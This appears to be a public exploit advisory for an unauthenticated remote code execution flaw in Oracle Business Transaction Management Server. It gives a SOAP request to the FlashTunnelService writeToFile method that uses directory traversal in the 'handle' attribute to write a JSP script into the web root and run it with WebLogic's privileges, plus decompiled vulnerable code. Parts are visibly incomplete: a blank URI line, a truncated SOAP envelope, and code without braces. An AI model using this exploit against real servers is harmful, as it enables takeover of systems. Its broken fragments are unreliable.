Oracle Business Transaction Management Server FlashTunnelService 
WriteToFile Message Remote Code Execution Exploit

tested against: Microsoft Windows Server 2003 r2 sp2
                Oracle WebLogic Server 12c (12.1.1)
                Oracle Business Transaction Management Server (Production version)

the mentioned product installs a web service 
called "FlashTunnelService" which can be reached
without prior authentication and processes incoming
SOAP requests.

It can be reached at the following uri:

This soap interface exposes the writeToFile function
which could allow to write arbitrary files on the target

Example packet:

POST /btmui/soa/flash_svc/ HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: "http://soa.amberpoint.com/writeToFile"
User-Agent: Jakarta Commons-HttpClient/3.1
Content-Length: [length]

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:int="http://schemas.amberpoint.com/flashtunnel/interfaces" xmlns:typ="http://schemas.amberpoint.com/flashtunnel/types">
         <int:writeToFile handle="................[path]somefile.jsp">
            <!--Zero or more repetitions:-->
               <!--You may enter ANY elements at this point-->

the 'handle' property can be used to control the location
of the newly written file (it suffers of a directory traversal ulnerability).
File extension can also be controlled.
File content can be controlled through the 'text' element (note that one
must convert the code to html entities firstly, the soap interface
will reconvert it to his original format).

Given this, a remote attacker, could place an arbitrary jsp script
inside the main web server root path, then execute arbitrary code
with the privileges of the weblogic installation, usually Administrator

vulnerable code, see the decompiled com.amberpoint.flashtunnel.impl.FlashTunnelServiceImpl.class

public IWriteToFileResponse writeToFile(IWriteToFileRequest request)
        throws SOAPFaultException
        WriteToFileResponse wtfr = new WriteToFileResponse();
        String handle = request.getHandle();
        TypedList text = request.getText();
        if(text != null && text.size() > 0)
            File f = getFileFromHandle(handle);
            if(f != null)
                    FileOutputStream fos = new FileOutputStream(f);
                    OutputStreamWriter osw = new OutputStreamWriter(fos, "UTF-8");
                    int i = 0;
                    for(int ii = text.size(); i < ii; i++)
                        String s = (String)text.get(i);

                catch(IOException ex)
                    logger.log(Level.SEVERE, (new StringBuilder()).append("IOException writing '").append(f.toString()).append("': ").append(ex.getMessage()).toString());
        return wtfr;
